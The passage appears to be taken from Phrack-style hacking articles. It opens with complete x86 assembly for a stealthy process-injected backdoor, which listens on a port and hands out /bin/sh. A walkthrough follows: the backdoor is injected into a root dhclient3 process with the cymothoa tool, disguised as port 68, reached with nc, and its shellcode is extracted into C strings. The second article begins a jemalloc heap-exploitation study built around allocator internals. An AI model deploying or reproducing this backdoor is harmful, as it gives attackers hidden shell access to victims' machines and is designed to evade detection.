As long as the backdoor is in listening mode, the only way to notice its presence is to check the listening ports on the machine, but even in this case we can use some tricks to make our parasite very difficult to detect.

Here's the code.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

#

# Single process backdoor (alarm preamble)

#

handler:

pusha

set_signal_handler:

# signal(SIGALRM, handler)

xorl%eax, %eax

xorl%ebx, %ebx

mov$48, %al

mov$14, %bl

jmpset_signal_handler_end

load_handler:

pop%ecx

subl$0x18, %ecx # adjust %ecx to point handler()

int$0x80

jmpshellcode

set_signal_handler_end:

call load_handler

shellcode:

# check if already initialized

mov $0x4d454d50, %esi # replaced by the injector

# (persistent memory address)

mov (%esi), %eax

cmp $0xdeadbeef, %eax

je accept_call # jump if already initialized

socket_call:

# call to sys_socketcall($0x01 (socket), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $0x01, %bl

jmp socket_args

load_socket_args:

pop %ecx

int $0x80 # %eax = socket descriptor

# save socket descriptor

mov $0xdeadbeef, %ebx

mov %ebx, (%esi)

add $4, %esi

mov %eax, (%esi)

sub $4, %esi

jmp fcntl_call

socket_args:

call load_socket_args

.long0x02# AF_INET

.long0x01# SOCK_STREAM

.long0x00# NULL

fcntl_call:

# call to sys_fcntl(socket, F_GETFL)

mov %eax, %ebx

xorl %eax, %eax

mov $55, %al

xorl %ecx, %ecx

mov $3, %cl

int $0x80

# call to sys_fcntl(socket, F_SETFL, flags | O_NONBLOCK)

mov %eax, %edx

xorl %eax, %eax

mov $55, %al

mov $4, %cl

orl $0x800, %edx # O_NONBLOCK (nonblocking socket)

int $0x80

bind_call:

# prepare sys_socketcall (bind) arguments

jmp struct_sockaddr

load_sockaddr:

pop %ecx

push $0x10 # sizeof(struct_sockaddr)

push %ecx # struct_sockaddr address

push %ebx # socket descriptor

# call to sys_socketcall($0x02 (bind), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $0x02, %bl

mov %esp, %ecx

int $0x80

jmp listen_call

struct_sockaddr:

call load_sockaddr

.short0x02# AF_INET

.short0x5250# PORT (replaced by the injector)

.long0x00# INADDR_ANY

listen_call:

pop %eax # socket descriptor

pop %ebx

push $0x10 # queue (backlog)

push %eax # socket descriptor

# call to sys_socketcall($0x04 (listen), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $0x04, %bl

mov %esp, %ecx

int $0x80

# restore stack

pop %edi

pop %edi

pop %edi

accept_call:

# prepare sys_socketcall (accept) arguments

xorl %ecx, %ecx

push %ecx # socklen_t *addrlen

push %ecx # struct sockaddr *addr

add $4, %esi

push (%esi) # socket descriptor

# call to sys_socketcall($0x05 (accept), *args)

xorl %eax, %eax

mov $102, %al

xorl %ebx, %ebx

mov $0x05, %bl

mov %esp, %ecx

int $0x80 # %eax = file descriptor or negative (on error) mov %eax, %edx # save file descriptor

# restore stack

pop %edi

pop %edi

pop %edi

# check return value

test %eax, %eax

js schedule_next_and_return # jump on error (negative %eax)

fork_child:

# call to sys_fork()

xorl %eax, %eax

mov $2, %al

int $0x80

test %eax, %eax

jz dup2_multiple_calls # child continue execution

# parent schedule_next_and_return

schedule_next_and_return:

# call to sys_close(socket file descriptor)

# (since is used only by the child process)

xorl %eax, %eax

mov $6, %al

mov %edx, %ebx

int $0x80

# call to sys_waitpid(‑1, NULL, WNOHANG)

# (to remove zombie processes)

xorl %eax, %eax

mov $7, %al

xorl %ebx, %ebx

dec %ebx

xorl %ecx, %ecx

xorl %edx, %edx

mov $1, %dl

int $0x80

# alarm(timeout)

xorl %eax, %eax

mov $27, %al

movl $0x53434553, %ebx # replaced by the injector (seconds) int $0x80

# return

popa

ret

dup2_multiple_calls:

# dup2(socket, 2), dup2(socket, 1), dup2(socket, 0)

xorl %eax, %eax

xorl %ecx, %ecx

mov %edx, %ebx

mov $2, %cl

dup2_loop:

mov $63, %al

int $0x80

dec %ecx

jns dup2_loop

execve_call:

# call to sys_execve(program, *args)

xorl %eax, %eax

mov $11, %al

jmp program_path

load_program_path:

pop %ebx

# create argument list [program_path, NULL]

xorl %ecx, %ecx

push %ecx

push %ebx

mov %esp, %ecx

mov%esp, %edx

int $0x80

program_path:

call load_program_path

.ascii "/bin/sh"

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

A little summary of the code:

1) Half preable, only the signal() part.

2) Check to see if it's the first execution. This step makes use of a persistent memory location, provided by the injector.

2.1) If already initialized jump to 7

2.2) If not initialized continue

3) Open socket.

4) Set nonblocking using fcntl().

5) Bind socket to the specified port.

6) Socket in listen mode with listen().

7) Check if a client is connected using accept().

7.1) No clients, jump to 9

7.2) Client connected, continue

8) Fork() a child process and execute a shell.

9) Set the timer and resume host execution

(the second half of the preamble)

For this shellcode the provided arguments are a persistent memory address, the port to listen on and the timer (in seconds).

Finally, let's see a practical example of use.

First, we must identify our host process. We need also to find a door is not likely to arouse suspicion.

root@victim# lsof ‑a ‑i ‑c dhclient3

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME dhclient3 1232 root 5u IPv4 4555 0t0 UDP *:bootpc dhclient3 1612 root 4u IPv4 4554 0t0 UDP *:bootpc

Here we can see two dhclient3 processes with port 68/UDP open (bootpc): a good strategy for our backdoor is to listen on port 68/TCP...

root@victim# ./cymothoa ‑p 1612 ‑s 13 ‑j 1 ‑y 68

[+] attaching to process 1612

register info:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eax value: 0xfffffdfe ebx value: 0x6

esp value: 0xbfff6dd0 eip value: 0xb7682430

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[+] new esp: 0xbfff6dcc

[+] injecting code into 0xb7683000

[+] copy general purpose registers

[+] persistent memory at 0xb769f000 (if used)

[+] detaching from 1612

[+] infected!!!

Let's see the result:

root@victim# lsof ‑a ‑i ‑c dhclient3

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME dhclient3 1232 root 5u IPv4 4555 0t0 UDP *:bootpc dhclient3 1612 root 4u IPv4 4554 0t0 UDP *:bootpc dhclient3 1612 root 7u IPv4 21892 0t0 TCP *:bootpc (LISTEN)

As you can see it is very difficult to see that something is wrong...

Now the attacker can connect to the victim and get a shell:

root@attacker# nc ‑vv victim_ip 68

Connection to victim_ip 68 port [tcp/bootpc] succeeded!

uname ‑a

Linux victim 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

We have achieved our goal: a single process backdoor :)

‑‑‑‑‑‑[ 6. Something about the injector

In all these examples we always used the injector cymothoa [3]. Some notes about this tool...

The injector is very important because it allows the customization of the shellcode and its injection in the right areas of memory.

Cymothoa wants to be an aid to developing shellcode, in several ways.

In the payloads directory there are all the assembly sources created by the author, easily compilable with gcc:

root@box# cd payloads

root@box# ls

clone_shellcode.s fork_shellcode.s scheduled_backdoor_alarm.s mmx_example_shellcode.s scheduled_setitimer.s scheduled_alarm.s scheduled_tail_setitimer.s

root@box# gcc ‑c scheduled_backdoor_alarm.s

root@box#

Cymothoa includes also some tools to easily extract the shellcode from these object files.

For example bgrep [6], a binary grep, that allows to find the offset of of particular hexadecimal sequences:

root@box# ./bgrep e8f0ffffff payloads/scheduled_backdoor_alarm.o payloads/scheduled_backdoor_alarm.o: 0000014b

This is useful for finding the beginning of the code to extract.

Once you locate the beginning and the length of the code, you can easily turn it into a C string with the script hexdump_to_cstring.pl.

root@box# hexdump ‑C ‑s 52 payloads/scheduled_backdoor_alarm.o ‑n 291 | \ ./hexdump_to_cstring.pl \x60\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x08\x59\x83\xe9\x18\xcd\x80\xeb \x05\xe8\xf3\xff\xff\xff\xbe\x50\x4d\x45\x4d\x8b\x06\x3d\xef\xbe\xad\xde \x0f\x84\x81\x00\x00\x00\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xeb\x14\x59\xcd ...

Once this is done you can add this string to the file payloads.h, and recompile cymothoa, to have a new, ready to inject, parasite.

If you want to transform into parasite code you already have available, that's the easy way.

The last thing I want to mention about cymothoa, is a little utility shipped with the main tool: a syscall code generator.

Writing syscall based shellcodes can be a tedious work, especially if you must remember every syscall number and parameters.

Since I am a lazy person, I've written a script able to do part of the hard work:

root@box# ./syscall_code.pl

Syscall shellcode generator

Usage:

./syscall_code.pl syscall

For example you can use it to generate the calling sequence for the open syscall:

root@box# ./syscall_code.pl sys_open

sys_open_call:

# call to sys_open(filename, flags, mode)

xorl %eax, %eax

mov $5, %al

xorl %ebx, %ebx

mov filename, %bl

xorl %ecx, %ecx

mov flags, %cl

xorl %edx, %edx

mov mode, %dl

int $0x80

As you can see the script generates assembly code that marks arguments and corresponding registers of the syscall, as well as the call number.

The code is not always 100% reliable (e.g. some syscalls require complex structures the script is not able to construct), but it can greatly speed up the shellcode development phase.

I hope you'll find it useful...

‑‑‑‑‑‑[ 7. Further reading

While I was writing this article, on the defcon's website have been published the talks which will take place during the next edition.

One of these caught my attention [7]:

Jugaad ‑ Linux Thread Injection Kit

"... The kit currently works on Linux, allocates space inside a process and injects and executes arbitrary payload as a thread into that process. It utilizes the ptrace() functionality to manipulate other processes on the system. ptrace() is an API generally used by debuggers to manipulate(debug) a program. By using the same functionality to inject and manipulate the flow of execution of a program Jugaad is able to inject the payload as a thread."

I recommend all readers who have judged this article interesting, to follow this talk, because it is a similar research, but parallel to mine.

My goal was to implement a stealth backdoor without creating new processes or threads, while the research of Aseem focuses on the creation of threads, to achieve the same level of stealthiness.

I therefore offer my best wishes to Aseem, since I think our works are complementary.

For additional material on "injection of code" you can see the links listed at the end of the document.

Bye bye ppl ;)

Greetings (in random order): emgent, scox, white_sheep (and all ihteam), sugar, renaud, bt_smarto, cris.

‑‑‑‑‑‑[ 8. Links and references

[0] https://secure.wikimedia.org/wikipedia/en/wiki/Ptrace

[1] http://dl.packetstormsecurity.net/papers/unix/elf‑runtime‑fixup.txt

[2] http://www.phrack.org/issues.html?issue=58&id=4#article

(5 ‑ The dynamic linker's dl‑resolve() function)

[3] http://vxheavens.com/lib/vrn00.html#c42

[4] http://cymothoa.sourceforge.net/

[5] http://www.exploit‑db.com/exploits/13388/

[6] http://debugmo.de/2009/04/bgrep‑a‑binary‑grep/

[7] https://www.defcon.org/html/defcon‑19/dc‑19‑speakers.html#Jakhar

Pseudomonarchia jemallocum

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0a of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Pseudomonarchia jemallocum ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The false kingdom of jemalloc, or ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |=‑‑‑‑‑‑‑‑‑‑‑=[ On exploiting the jemalloc memory manager ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ argp | huku ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ {argp,huku}@grhack.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

1.1 ‑ Thousand‑faced jemalloc

2 ‑ jemalloc memory allocator overview

2.1 ‑ Basic structures

2.1.1 ‑ Chunks (arena_chunk_t)

2.1.2 ‑ Arenas (arena_t)

2.1.3 ‑ Runs (arena_run_t)

2.1.4 ‑ Regions/Allocations

2.1.5 ‑ Bins (arena_bin_t)

2.1.6 ‑ Huge allocations

2.1.7 ‑ Thread caches (tcache_t)

2.1.8 ‑ Unmask jemalloc

2.2 ‑ Algorithms

3 ‑ Exploitation tactics

3.1 ‑ Adjacent region corruption

3.2 ‑ Heap manipulation

3.3 ‑ Metadata corruption

3.3.1 ‑ Run (arena_run_t)

3.3.2 ‑ Chunk (arena_chunk_t)

3.3.3 ‑ Thread caches (tcache_t)

4 ‑ A real vulnerability

5 ‑ Future work

6 ‑ Conclusion

7 ‑ References

8 ‑ Code

‑‑[ 1 ‑ Introduction

In this paper we investigate the security of the jemalloc allocator in both theory and practice. We are particularly interested in the exploitation of memory corruption bugs, so our security analysis will be biased towards that end.

jemalloc is a userland memory allocator. It provides an implementation for the standard malloc(3) interface for dynamic memory management. It was written by Jason Evans (hence the 'je') for FreeBSD since there was a need for a high performance, SMP‑enabled memory allocator for libc. After that, jemalloc was also used by the Mozilla Firefox browser as its internal dedicated custom memory allocator.

All the above have led to a few versions of jemalloc that are very similar but not exactly the same. To summarize, there are three different widely used versions of jemalloc: 1) the standalone version [JESA], 2) the version in the Mozilla Firefox web browser [JEMF], and 3) the FreeBSD libc [JEFB] version.

The exploitation vectors we investigate in this paper have been tested on the jemalloc versions presented in subsection 1.1, all on the x86 platform. We assume basic knowledge of x86 and a general familiarity with userland malloc() implementations, however these are not strictly required.

‑‑‑‑[ 1.1 ‑ Thousand‑faced jemalloc

There are so many different jemalloc versions that we almost went crazy double checking everything in all possible platforms. Specifically, we tested the latest standalone jemalloc version (2.2.3 at the time of this writing), the version included in the latest FreeBSD libc (8.2‑RELEASE), and the Mozilla Firefox web browser version 11.0. Furthermore, we also tested the Linux port of the FreeBSD malloc(3) implementation (jemalloc_linux_20080828a in the accompanying code archive) [JELX].

‑‑[ 2 ‑ jemalloc memory allocator overview

The goal of this section is to provide a technical overview of the jemalloc memory allocator. However, it is not all‑inclusive. We will only focus on the details that are useful for understanding the exploitation attacks against jemalloc analyzed in the next section. The interested reader can look in [JE06] for a more academic treatment of jemalloc (including benchmarks, comparisons with other allocators, etc).

Before we start our analysis we would like to point out that jemalloc (as well as other malloc implementations) does not implement concepts like 'unlinking' or 'frontlinking' which have proven to be catalytic for the exploitation of dlmalloc and Microsoft Windows allocators. That said, we would like to stress the fact that the attacks we are going to present do not directly achieve a write‑4‑anywhere primitive. We, instead, focus on how to force malloc() (and possibly realloc()) to return a chunk that will most likely point to an already initialized memory region, in hope that the region in question may hold objects important for the functionality of the target application (C++ VPTRs, function pointers, buffer sizes and so on). Considering the various anti‑exploitation countermeasures present in modern operating systems (ASLR, DEP and so on), we believe that such an outcome is far more useful for an attacker than a 4 byte overwrite.

jemalloc, as a modern memory allocator should, recognizes that minimal page utilization is no longer the most critical feature. Instead it focuses on enhanced performance in retrieving data from the RAM. Based on the principle of locality which states that items that are allocated together are also used together, jemalloc tries to situate allocations contiguously in memory. Another fundamental design choice of jemalloc is its support for SMP systems and multi‑threaded applications by trying to avoid lock contention problems between many simultaneously running threads. This is achieved by using many 'arenas' and the first time a thread calls into the memory allocator (for example by calling malloc(3)) it is associated with a specific arena. The assignment of threads to arenas happens with three possible algorithms: 1) with a simple hashing on the thread's ID if TLS is available 2) with a simple builtin linear congruential pseudo random number generator in case MALLOC_BALANCE is defined and TLS is not available 3) or with the traditional round‑robin algorithm. For the later two cases, the association between a thread and an arena doesn't stay the same for the whole life of the thread.

Continuing our high‑level overview of the main jemalloc structures before we dive into the details in subsection 2.1, we have the concept of 'chunks'. jemalloc divides memory into chunks, always of the same size, and uses these chunks to store all of its other data structures (and user‑requested memory as well). Chunks are further divided into 'runs' that are responsible for requests/allocations up to certain sizes. A run keeps track of free and used 'regions' of these sizes. Regions are the heap items returned on user allocations (e.g. malloc(3) calls). Finally, each run is associated with a 'bin'. Bins are responsible for storing structures (trees) of free regions.

The following diagram illustrates in an abstract manner the relationships between the basic building blocks of jemalloc.

Chunk #0 Chunk #1

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑

| | |

| Run #0 Run #1 | | Run #0 Run #1 |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑..‑‑‑‑‑‑‑‑‑‑‑‑‑. | | .‑‑

| | || | | | |

| | Page || Page | | | | Page || Page | |

| | .‑‑‑‑‑‑‑‑‑. || .‑‑‑‑‑‑‑‑‑. | | | | .

| | | | || | | | | | | |

| | | Regions | || | Regions | | | | | | Regions | || | Regions | | |

| | |[] [] [] | || |[] [] [] | | | | | |

| | | ^ ^ | || | | | | | | |

| | `‑|‑‑‑‑‑|‑' || `‑‑‑‑‑‑‑‑‑' | | | | `

| `‑‑‑|‑‑‑‑‑|‑‑‑'`‑‑‑‑‑‑‑‑‑‑‑‑‑' | | `‑‑

`‑‑‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑

| |

| |

.‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑. .‑‑

| | | | |

| free regions' tree | ... | free regions' tree | ...

| | |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑

bin[Chunk #0][Run #0] bin[Chunk #1][Run #0]

‑‑‑‑[ 2.1 ‑ Basic structures

In the following paragraphs we analyze in detail the basic jemalloc structures. Familiarity with these structures is essential in order to begin our understanding of the jemalloc internals and proceed to the exploitation step.

‑‑‑‑‑‑[ 2.1.1 ‑ Chunks (arena_chunk_t)

If you are familiar with Linux heap exploitation (and more precisely with dlmalloc internals) you have probably heard of the term 'chunk' before. In dlmalloc, the term 'chunk' is used to denote the memory regions returned by malloc(3) to the end user. We hope you get over it soon because when it comes to jemalloc the term 'chunk' is used to describe big virtual memory regions that the memory allocator conceptually divides available memory into. The size of the chunk regions may vary depending on the jemalloc variant used. For example, on FreeBSD 8.2‑RELEASE, a chunk is a 1 MB region (aligned to its size), while on the latest FreeBSD (in CVS at the time of this writing) a jemalloc chunk is a region of size 2 MB. Chunks are the highest abstraction used in jemalloc's design, that is the rest of the structures described in the following paragraphs are actually placed within a chunk somewhere in the target's memory.

The following are the chunk sizes in the jemalloc variants we have examined:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| jemalloc variant | Chunk size |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FreeBSD 8.2‑RELEASE | 1 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Standalone v2.2.3 | 4 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| jemalloc_linux_20080828a | 1 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Mozilla Firefox v5.0 | 1 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Mozilla Firefox v7.0.1 | 1 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Mozilla Firefox v11.0 | 1 MB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An area of jemalloc managed memory divided into chunks looks like the following diagram. We assume a chunk size of 4 MB; remember that chunks are aligned to their size. The address 0xb7000000 does not have a particular significance apart from illustrating the offsets between each chunk.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Chunk alignment | Chunk content |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Chunk #1 starts at: 0xb7000000 [ Arena ]

| Chunk #2 starts at: 0xb7400000 [ Arena ]

| Chunk #3 starts at: 0xb7800000 [ Arena ]

| Chunk #4 starts at: 0xb7c00000 [ Arena ]

| Chunk #5 starts at: 0xb8000000 [ Huge allocation region, see below ]

| Chunk #6 starts at: 0xb8400000 [ Arena ]

| Chunk #7 starts at: 0xb8800000 [ Huge allocation region ] | Chunk #8 starts at: 0xb8c00000 [ Huge allocation region ]

| Chunk #9 starts at: 0xb9000000 [ Arena ]

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Huge allocation regions are memory regions managed by jemalloc chunks that satisfy huge malloc(3) requests. Apart from the huge size class, jemalloc also has the small/medium and large size classes for end user allocations (both managed by arenas). We analyze jemalloc's size classes of regions in subsection 2.1.4.

Chunks are described by 'arena_chunk_t' structures (taken from the standalone version of jemalloc; we have added and removed comments in order to make things more clear):

[2‑1]

typedef struct arena_chunk_s arena_chunk_t;

struct arena_chunk_s

{

/* The arena that owns this chunk. */

arena_t *arena;

/* A list of the corresponding arena's dirty chunks. */

ql_elm(arena_chunk_t) link_dirty;

/*

* Whether this chunk contained at some point one or more dirty pages. */

bool dirtied;

/* This chunk's number of dirty pages. */

size_t ndirty;

/*

* A chunk map element corresponds to a page of this chunk. The map * keeps track of free and large/small regions.

*/

arena_chunk_map_t map[];

};

The main use of chunk maps in combination with the memory alignment of the chunks is to enable constant time access to the management metadata of free and large/small heap allocations (regions).

‑‑‑‑‑‑[ 2.1.2 ‑ Arenas (arena_t)

An arena is a structure that manages the memory areas jemalloc divides into chunks. Arenas can span more than one chunk, and depending on the size of the chunks, more than one page as well. As we have already mentioned, arenas are used to mitigate lock contention problems between threads. Therefore, allocations and deallocations from a thread always happen on the same arena. Theoretically, the number of arenas is in direct relation to the need for concurrency in memory allocation. In practice the number of arenas depends on the jemalloc variant we deal with. For example, in Firefox's jemalloc there is only one arena. In the case of single‑CPU systems there is also only one arena. In SMP systems the number of arenas is equal to either two (in FreeBSD 8.2) or four (in the standalone variant) times the number of available CPU cores. Of course, there is always at least one arena.

Debugging the standalone variant with gdb:

gdb $ print ncpus

$86 = 0x4

gdb $ print narenas

$87 = 0x10

Arenas are the central jemalloc data structures as they are used to manage the chunks (and the underlying pages) that are responsible for the small and large allocation size classes. Specifically, the arena structure is defined as follows:

[2‑2]

typedef struct arena_s arena_t;

struct arena_s

{

/* This arena's index in the arenas array. */

unsigned ind;

/* Number of threads assigned to this arena. */

unsigned nthreads;

/* Mutex to protect certain operations. */

malloc_mutex_t lock;

/*

* Chunks that contain dirty pages managed by this arena. When jemalloc * requires new pages these are allocated first from the dirty pages. */

ql_head(arena_chunk_t) chunks_dirty;

/*

* Each arena has a spare chunk in order to cache the most recently * freed chunk.

*/

arena_chunk_t *spare;

/* The number of pages in this arena's active runs. */

size_t nactive;

/* The number of pages in unused runs that are potentially dirty. */

size_t ndirty;

/* The number of pages this arena's threads are attempting to purge. */

size_t npurgatory;

/*

* Ordered tree of this arena's available clean runs, i.e. runs * associated with clean pages.

*/

arena_avail_tree_t runs_avail_clean;

/*

* Ordered tree of this arena's available dirty runs, i.e. runs * associated with dirty pages.

*/

arena_avail_tree_t runs_avail_dirty;

/*

* Bins are used to store structures of free regions managed by this * arena.

*/

arena_bin_t bins[];

};

All in all a fairly simple structure. As it is clear from the above structure, the allocator contains a global array of arenas and an unsigned integer representing the number of these arenas:

arena_t **arenas;

unsigned narenas;

And using gdb we can see the following:

gdb $ x/x arenas

0xb7800cc0: 0xb7800740

gdb $ print arenas[0]

$4 = (arena_t *) 0xb7800740

gdb $ x/x &narenas

0xb7fdfdc4 <narenas>: 0x00000010

At 0xb7800740 we have 'arenas[0]', that is the first arena, and at 0xb7fdfdc4 we have the number of arenas, i.e 16.

‑‑‑‑‑‑[ 2.1.3 ‑ Runs (arena_run_t)

Runs are further memory denominations of the memory divided by jemalloc into chunks. Runs exist only for small and large allocations (see subsection 2.1.1), but not for huge allocations. In essence, a chunk is broken into several runs. Each run is actually a set of one or more contiguous pages (but a run cannot be smaller than one page). Therefore, they are aligned to multiples of the page size. The runs themselves may be non‑contiguous but they are as close as possible due to the tree search heuristics implemented by jemalloc.

The main responsibility of a run is to keep track of the state (i.e. free or used) of end user memory allocations, or regions as these are called in jemalloc terminology. Each run holds regions of a specific size (however within the small and large size classes as we have mentioned) and their state is tracked with a bitmask. This bitmask is part of a run's metadata; these metadata are defined with the following structure:

[2‑3]

typedef struct arena_run_s arena_run_t;

struct arena_run_s

{

/*

* The bin that this run is associated with. See 2.1.5 for details on * the bin structures.

*/

arena_bin_t *bin;

/*

* The index of the next region of the run that is free. On the FreeBSD * and Firefox flavors of jemalloc this variable is named regs_minelm. */

uint32_t nextind;

/* The number of free regions in the run. */

unsigned nfree;

/*

* Bitmask for the regions in this run. Each bit corresponds to one * region. A 0 means the region is used, and an 1 bit value that the * corresponding region is free. The variable nextind (or regs_minelm * on FreeBSD and Firefox) is the index of the first non‑zero element * of this array.

*/

unsigned regs_mask[];

};

Don't forget to re‑read the comments ;)

‑‑‑‑‑‑[ 2.1.4 ‑ Regions/Allocations

In jemalloc the term 'regions' applies to the end user memory areas returned by malloc(3). As we have briefly mentioned earlier, regions are divided into three classes according to their size, namely a) small/medium, b) large and c) huge.

Huge regions are considered those that are bigger than the chunk size minus the size of some jemalloc headers. For example, in the case that the chunk size is 4 MB (4096 KB) then a huge region is an allocation greater than 4078 KB. Small/medium are the regions that are smaller than a page. Large are the regions that are smaller than the huge regions (chunk size minus some headers) and also larger than the small/medium regions (page size).

Huge regions have their own metadata and are managed separately from small/medium and large regions. Specifically, they are managed by a global to the allocator red‑black tree and they have their own dedicated and contiguous chunks. Large regions have their own runs, that is each large allocation has a dedicated run. Their metadata are situated on the corresponding arena chunk header. Small/medium regions are placed on different runs according to their specific size. As we have seen in 2.1.3, each run has its own header in which there is a bitmask array specifying the free and the used regions in the run.

In the standalone flavor of jemalloc the smallest run is that for regions of size 4 bytes. The next run is for regions of size 8 bytes, the next for 16 bytes, and so on.

When we do not mention it specifically, we deal with small/medium and large region classes. We investigate the huge region size class separately in subsection 2.1.6.

‑‑‑‑‑‑[ 2.1.5 ‑ Bins (arena_bin_t)

Bins are used by jemalloc to store free regions. Bins organize the free regions via runs and also keep metadata about their regions, like for example the size class, the total number of regions, etc. A specific bin may be associated with several runs, however a specific run can only be associated with a specific bin, i.e. there is an one‑to‑many correspondence between bins and runs. Bins have their associated runs organized in a tree.

Each bin has an associated size class and stores/manages regions of this size class. A bin's regions are managed and accessed through the bin's runs. Each bin has a member element representing the most recently used run of the bin, called 'current run' with the variable name runcur. A bin also has a tree of runs with available/free regions. This tree is used when the current run of the bin is full, that is it doesn't have any free regions.

A bin structure is defined as follows:

[2‑4]

typedef struct arena_bin_s arena_bin_t;

struct arena_bin_s

{

/*

* Operations on the runs (including the current run) of the bin * are protected via this mutex.

*/

malloc_mutex_t lock;

/*

* The current run of the bin that manages regions of this bin's size * class.

*/

arena_run_t *runcur;

/*

* The tree of the bin's associated runs (all responsible for regions * of this bin's size class of course).

*/

arena_run_tree_t runs;

/* The size of this bin's regions. */

size_t reg_size;

/*

* The total size of a run of this bin. Remember that each run may be * comprised of more than one pages.

*/

size_t run_size;

/* The total number of regions in a run of this bin. */

uint32_t nregs;

/*

* The total number of elements in the regs_mask array of a run of this * bin. See 2.1.3 for more information on regs_mask. */

uint32_t regs_mask_nelms;

/*

* The offset of the first region in a run of this bin. This can be * non‑zero due to alignment requirements.

*/

uint32_t reg0_offset;

};

As an example, consider the following three allocations and that the jemalloc flavor under investigation has 2 bytes as the smallest possible allocation size (file test‑bins.c in the code archive, example run on FreeBSD):

one = malloc(2);

two = malloc(8);

three = malloc(16);

Using gdb let's explore jemalloc's structures. First let's see the runs that the above allocations created in their corresponding bins:

gdb $ print arenas[0].bins[0].runcur

$25 = (arena_run_t *) 0xb7d01000

gdb $ print arenas[0].bins[1].runcur

$26 = (arena_run_t *) 0x0

gdb $ print arenas[0].bins[2].runcur

$27 = (arena_run_t *) 0xb7d02000

gdb $ print arenas[0].bins[3].runcur

$28 = (arena_run_t *) 0xb7d03000

gdb $ print arenas[0].bins[4].runcur

$29 = (arena_run_t *) 0x0

Now let's see the size classes of these bins:

gdb $ print arenas[0].bins[0].reg_size

$30 = 0x2

gdb $ print arenas[0].bins[1].reg_size

$31 = 0x4

gdb $ print arenas[0].bins[2].reg_size

$32 = 0x8

gdb $ print arenas[0].bins[3].reg_size

$33 = 0x10

gdb $ print arenas[0].bins[4].reg_size

$34 = 0x20

We can see that our three allocations of sizes 2, 8 and 16 bytes resulted in jemalloc creating runs for these size classes. Specifically, 'bin[0]' is responsible for the size class 2 and its current run is at 0xb7d01000, 'bin[1]' is responsible for the size class 4 and doesn't have a current run since no allocations of size 4 were made, 'bin[2]' is responsible for the size class 8 with its current run at 0xb7d02000, and so on. In the code archive you can find a Python script for gdb named unmask_jemalloc.py for easily enumerating the size of bins and other internal information in the various jemalloc flavors (see 2.1.8 for a sample run).

